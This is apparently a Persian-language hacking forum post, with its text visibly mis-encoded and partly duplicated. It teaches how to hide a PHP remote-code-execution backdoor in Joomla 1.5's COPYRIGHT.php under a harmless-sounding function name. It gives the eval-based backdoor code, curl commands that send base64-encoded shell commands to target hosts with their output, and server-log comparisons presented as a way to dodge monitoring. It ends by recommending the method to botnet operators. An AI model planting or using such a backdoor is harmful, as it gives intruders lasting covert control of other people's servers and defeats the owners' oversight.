کد های مخرب هر چند Ú©ÙˆÚ†Ú© میتوانند بسیار خطرناک تر از آنچه باشند Ú©Ù‡ ما تصور میکنیم ! ما هر روز در انجام وظای٠روزانه با انها خواسته یا ناخواسته روبرو میشویم , بسیاری از انها مبتنی بر وب هستند Ú©Ù‡ بر اندازه Ùˆ تاثیر تخریب متÙاوت عمل میکنند شناسایی برخی از آنها بسیار آسان بوده Ùˆ به راØتی رد گیری میشوند اما امروز میخواهیم بر تکنیکی تمرکز کنیم Ú©Ù‡ به راØتی قابل رد گیری نباشد تا اجازه نگاه داشتن دسترسی خود به مدت طولانی از سرور های خاص خودمون داشته باشیم.
در این بØØ« وارد بØØ« بکدور یا همون در پشتی خواهیم شد در ابتدا باید بدونیم Ú©Ù‡ بکدور یا در پشتی Ú†Ù‡ کاری انجام میده ...
بکدور ها ابزار یا برنامه هایی هستند Ú©Ù‡ Ù†Ùوذگر ها برای ØÙظ دسترسی بر روی سیستم های کلاینت , سرور ها Ùˆ یا داخل سایت ها استÙاده میکنند.
Øالا توجه شما رو به کد زیر جلب میکنم:
میتونیم از این کد Ú©Ù‡ ØªÙˆØ¶ÛŒØ Ø®ÙˆØ§Ù‡Ù… داد به Ú†Ù‡ شکله Ùˆ چیکار میکنه یک بکدور بسازیم.
اما ابتدا باید دنبال یکی از Ùایل های خود پرتال باشیم تا کدمون رو توش جا بدیم
گام اول Ùریب
میتوتین در جوملا 1.5 از Ùایل COPYRIGHT.php استÙاده کنیم برای رسیدن به اهداÙمون اما این Ùایل چیست Ùˆ Ù…Øتویاتش چیه؟!
.
چطوری میتونیم ازش استÙاده کنیم برمیگردیم به کد خودمون:
اگه شما یکphp کار باشید مطمئنا میتونید سورس رو بخونید و متوجه بشید
بله دقیقا این همون تابعی است که باهاش کار خواهیم کرد :
ارزیابی Ùˆ اجرای کد با Ùانکشن Eval
خوب این کد دقیقا کد مخرب ماست Ú©Ù‡ به Ù†Ùوذگر اجازه اجرای کد رو از راه دور Ùˆ به آسانی میده
تو خط
سناریوی کامل برای تزریق کد ها اماده شده برای استÙاده میشه به این ترتیب عمل کرد
از Ùانکشن system برای گرÙتن خط Ùرمان
Ùˆ همینطور از Ùانکشن passthru در صورتی Ú©Ù‡ بسته نباشن.
با یک مثال کد خطرناک اونو نشون میدم:
خروجیش میشه
و اجرای دستورات از راه دور :
یا میتونید بدون کد کردن دستورتون اجراش کنید
Øالا میرسیم به جایی Ú©Ù‡ مهم ترین نکته این بØØ« توش نهÙته شده
میریم سراغ مانیتورینگ
اگر با این روش عمل کنیم Ù…Øتوای لاگ های ایجاد شده روی سرور به این صورت خواهد بود :
شاید با خودتون بگین Ú©Ù‡ میتونیستیم با $_GET به راØتی این کار رو انجام بدیم ولی با این تÙاوت Ú©Ù‡ به راØتی مورد شناسایی میشدین لاگ های بر روی سرور به این صورت دیده میشه
شخصه مانیتورکننده با اولین نگاه میتونه بÙمه Ú©Ù‡ یه خبر هایی در Øال وقوعه .
میشه نتیجه گرÙت Ú©Ù‡ یکم خلاقیت میتونه خیلی تاثیر به سزایی در همه جا به یک Ù†Ùوذگر بکنه.
Øالا بهترین استÙاده از این مورد به نظرتون کجاست ØŸ!
یک باتنت نویس خوب همیشه به این Ùکر میکنه Ú©Ù‡ چطوری میتونه زامبی هاشو از دید صاØب سرور Ùˆ سایت دور Ù†Ú¯Ù‡ داره ...
این روش میتونه کمک به سزایی در این زمینه بکنه.
موÙÙ‚ باشید
در این بØØ« وارد بØØ« بکدور یا همون در پشتی خواهیم شد در ابتدا باید بدونیم Ú©Ù‡ بکدور یا در پشتی Ú†Ù‡ کاری انجام میده ...
بکدور ها ابزار یا برنامه هایی هستند Ú©Ù‡ Ù†Ùوذگر ها برای ØÙظ دسترسی بر روی سیستم های کلاینت , سرور ها Ùˆ یا داخل سایت ها استÙاده میکنند.
Øالا توجه شما رو به کد زیر جلب میکنم:
کد PHP:
<? php
Copyright_joomla();
function Copyright_joomla(){
static $gnu = true;
if(!$gnu) return;
if(!isset($_REQUEST['gnu'])||!isset($_REQUEST['c_id']))return;
$gpl=implode('', $_REQUEST['gnu']);
eval ($gpl( $_REQUEST['c_id']));
$gnu=false;
}
اما ابتدا باید دنبال یکی از Ùایل های خود پرتال باشیم تا کدمون رو توش جا بدیم
گام اول Ùریب
میتوتین در جوملا 1.5 از Ùایل COPYRIGHT.php استÙاده کنیم برای رسیدن به اهداÙمون اما این Ùایل چیست Ùˆ Ù…Øتویاتش چیه؟!
کد:
/** * @version $Id: COPYRIGHT.php 14401 2010-01-26 14:10:00Z louis $ * @package Joomla * @copyright Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved. * @license GNU/GPL, see LICENSE.php * Joomla! is free software. This version may have been modified pursuant * to the GNU General Public License, and as distributed it includes or * is derivative of works licensed under the GNU General Public License or * other free or open source software licenses. */ defined('_JEXEC') or die('Restricted access'); Joomla! derives from copyrighted works licensed under the GNU General Public License. This version has been modified pursuant to the GNU General Public License as of September 15, 2005, and as distributed, it includes or is derivative of works licensed under the GNU General Public License or other free or open source software licenses. Please see the CREDITS.php for a non-exhaustive list of contributors and copyright holders. A full text version of the GNU GPL version 2 can be found in the LICENSE.php file. A full text version of the other licenses that Joomla! is derivative of or includes can be found in LICENSES.php
چطوری میتونیم ازش استÙاده کنیم برمیگردیم به کد خودمون:
کد PHP:
Copyright_joomla();
function Copyright_joomla(){
static $gnu = true;
if(!$gnu) return;
if(!isset($_REQUEST['gnu'])||!isset($_REQUEST['c_id']))return;
$gpl=implode('',$_REQUEST['gnu']);
eval ($gpl($_REQUEST['c_id']));
$gnu=false;
}
بله دقیقا این همون تابعی است که باهاش کار خواهیم کرد :
کد PHP:
eval ($gpl($_REQUEST['c_id']));
خوب این کد دقیقا کد مخرب ماست Ú©Ù‡ به Ù†Ùوذگر اجازه اجرای کد رو از راه دور Ùˆ به آسانی میده
تو خط
کد PHP:
eval ($gpl($_REQUEST['c_id']));
کد PHP:
eval (system(CMD));
کد PHP:
eval (passthru(CMD));
با یک مثال کد خطرناک اونو نشون میدم:
------------------------------------------------------
root@core:~$ echo "system('uname -a; id');"|base 64
------------------------------------------------------
root@core:~$ echo "system('uname -a; id');"|base 64
------------------------------------------------------
------------------------------------------------------
c3lzdGVtKCd1bmFtZSAtYTsgaWQnKTsK
------------------------------------------------------
c3lzdGVtKCd1bmFtZSAtYTsgaWQnKTsK
------------------------------------------------------
------------------------------------------------------
root@core:~$ curl -s -d "gnu[]=base64_decode&c_id=c3lzdGVtKCd1bmFtZSAtYTsgaWQnKT sK" "http://ajaxtm.org/COPYRIGHT.php"
Linux core 3.2.0-25-root #40-Ubuntu SMP Wed May 23 2040 UTC 2010 x86_64 x86_64 x86_64 GNU/Linux
uid=99(nobudy) gid=99(nobudy) groups=99(nobudy)
------------------------------------------------------
root@core:~$ curl -s -d "gnu[]=base64_decode&c_id=c3lzdGVtKCd1bmFtZSAtYTsgaWQnKT sK" "http://ajaxtm.org/COPYRIGHT.php"
Linux core 3.2.0-25-root #40-Ubuntu SMP Wed May 23 2040 UTC 2010 x86_64 x86_64 x86_64 GNU/Linux
uid=99(nobudy) gid=99(nobudy) groups=99(nobudy)
------------------------------------------------------
------------------------------------------------------
rodrigo@core:~$ curl -s -d "gnu[]=system&c_id=uname -a;id" "http://192.168.0.1/COPYRIGHT.php"
Linux core 3.2.0-25-root #40-Ubuntu SMP Wed May 23 2040 UTC 2010 x86_64 x86_64 x86_64 GNU/Linux
uid=99(nobudy) gid=99(nobudy) groups=99(nobudy)
------------------------------------------------------
rodrigo@core:~$ curl -s -d "gnu[]=system&c_id=uname -a;id" "http://192.168.0.1/COPYRIGHT.php"
Linux core 3.2.0-25-root #40-Ubuntu SMP Wed May 23 2040 UTC 2010 x86_64 x86_64 x86_64 GNU/Linux
uid=99(nobudy) gid=99(nobudy) groups=99(nobudy)
------------------------------------------------------
میریم سراغ مانیتورینگ
اگر با این روش عمل کنیم Ù…Øتوای لاگ های ایجاد شده روی سرور به این صورت خواهد بود :
ajaxtm.org - - [31/Jul/2013:00:00:21 -0700] "POST /COPYRIGHT.php HTTP/1.1" 200 378 "-" "curl/7.22.0 (x86_64-pc-linux-gnu) libcurl/7.22.0 OpenSSL/1.0.1 zlib/1.2.3.4 libidn/1.23 librtmp/2.3"
ajaxtm.org - - [31/Jul/2013:00:00:08 -0700] "POST /COPYRIGHT.php?c_id=c3lzdGVtKCd1bmFtZSAtYTsgaWQnKTs K HTTP/1.1" 200 368 "-" "curl/7.22.0 (x86_64-pc-linux-gnu) libcurl/7.22.0 OpenSSL/1.0.1 zlib/1.2.3.4 libidn/1.23 librtmp/2.3"
میشه نتیجه گرÙت Ú©Ù‡ یکم خلاقیت میتونه خیلی تاثیر به سزایی در همه جا به یک Ù†Ùوذگر بکنه.
Øالا بهترین استÙاده از این مورد به نظرتون کجاست ØŸ!
یک باتنت نویس خوب همیشه به این Ùکر میکنه Ú©Ù‡ چطوری میتونه زامبی هاشو از دید صاØب سرور Ùˆ سایت دور Ù†Ú¯Ù‡ داره ...
این روش میتونه کمک به سزایی در این زمینه بکنه.
موÙÙ‚ باشید
Comment